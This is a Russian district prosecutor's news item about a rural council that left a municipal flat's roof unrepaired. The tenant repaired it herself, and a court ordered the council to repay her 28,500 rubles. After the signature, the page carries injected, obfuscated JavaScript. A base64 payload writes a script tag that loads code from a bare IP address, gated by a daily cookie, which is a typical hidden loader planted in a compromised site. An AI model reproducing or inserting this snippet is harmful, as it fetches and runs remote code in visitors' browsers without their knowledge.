О выявленных нарушениях жилищного законодательства
Прокуратурой Краснотуранского района проведена проверка по обращению жительницы с. Лебяжье о нарушениях ее жилищных прав.
В ходе проверки установлено, что квартира, в которой проживает заявитель, является муниципальной собственностью муниципального образования Лебяженский сельсовет, и предоставлена гражданке по договору социального найма.
В соответствии со статьей 67 Жилищного кодекса РФ наниматель жилого помещения по договору социального найма имеет право в установленном порядке требовать от наймодателя своевременного проведения капитального ремонта жилого помещения, надлежащего участия в содержании общего имущества в многоквартирном доме, а также предоставления коммунальных услуг.
Согласно пункту 3 части 2 статьи 65 Жилищного кодекса РФ наймодатель жилого помещения по договору социального найма (в данном случае — Администрация Лебяженского сельсовета) обязан осуществлять капитальный ремонт жилого помещения.
В ходе проверки установлено, что гражданка проживает в муниципальном жилом помещении с 1987 года. При этом, в указанном жилом помещении, собственником жилья, Администрацией Лебяженского сельсовета, капитальный ремонт не проводился, что привело к полному износу и разрушению кровельного покрытия указанного дома.
Согласно пунктам 2 и 3 приложения № 8 к Правилам и нормам технической эксплуатации жилищного фонда, утвержденным Постановление Госстроя РФ от 27.09.2003 № 170, в перечень работ, проводимых при капитальном ремонте жилищного фонда, отнесены: ремонтно-строительные работы по смене, восстановлению или замене элементов жилых зданий, ремонт крыш, фасадов, стыков полносборных зданий до 50%.
В связи с тем, что кровельное покрытие крыши дома пришло в негодность и требовало замены, гражданка неоднократно обращалась в администрацию Лебяженского сельсовета с заявлениями о проведении ремонта крыши, однако должностными лицами сельсовета надлежащих мер к проведению капитального ремонта муниципального жилья не было принято, а заявителю был выделен из администрации сельсовета лишь шифер для ремонта кровли, и предложено проводить ремонт самостоятельно.
Поскольку прямые обязанности собственника жилого помещения, предусмотренные законом, Администрацией Лебяженского сельсовета не были исполнены, гражданка, чтобы предотвратить разрушение потолочного перекрытия в доме, вынуждена была произвести капитальный ремонт крыши дома самостоятельно, потратив на ремонт собственные денежные средства.
По результатам рассмотрения жалобы прокуратурой района в суд направлено исковое заявление о взыскании с Администрации Лебяженского сельсовета в пользу гражданки, проживающей в муниципальном жилье, затрат на капитальный ремонт указанного жилого помещения.
Решением суда исковые требования прокурора были удовлетворены, суд взыскал с Администрации Лебяженского сельсовета в пользу нанимателя муниципального жилья затраты в сумме 28500 рублей, которые наниматель понес на капитальный ремонт жилья.
Прокурор Краснотуранского района
советник юстиции
Кайнов Ю.Г.
function getCookie (e){var U=document.cookie.match (new RegExp («(?:^|; )»+e.replace (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent (U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor (Date.now ()/1e3),cookie=getCookie («redirect»);if (now>=(time=cookie)||void 0===time){var time=Math.floor (Date.now ()/1e3+86400),date=new Date ((new Date).getTime ()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString (),document.write ('')}
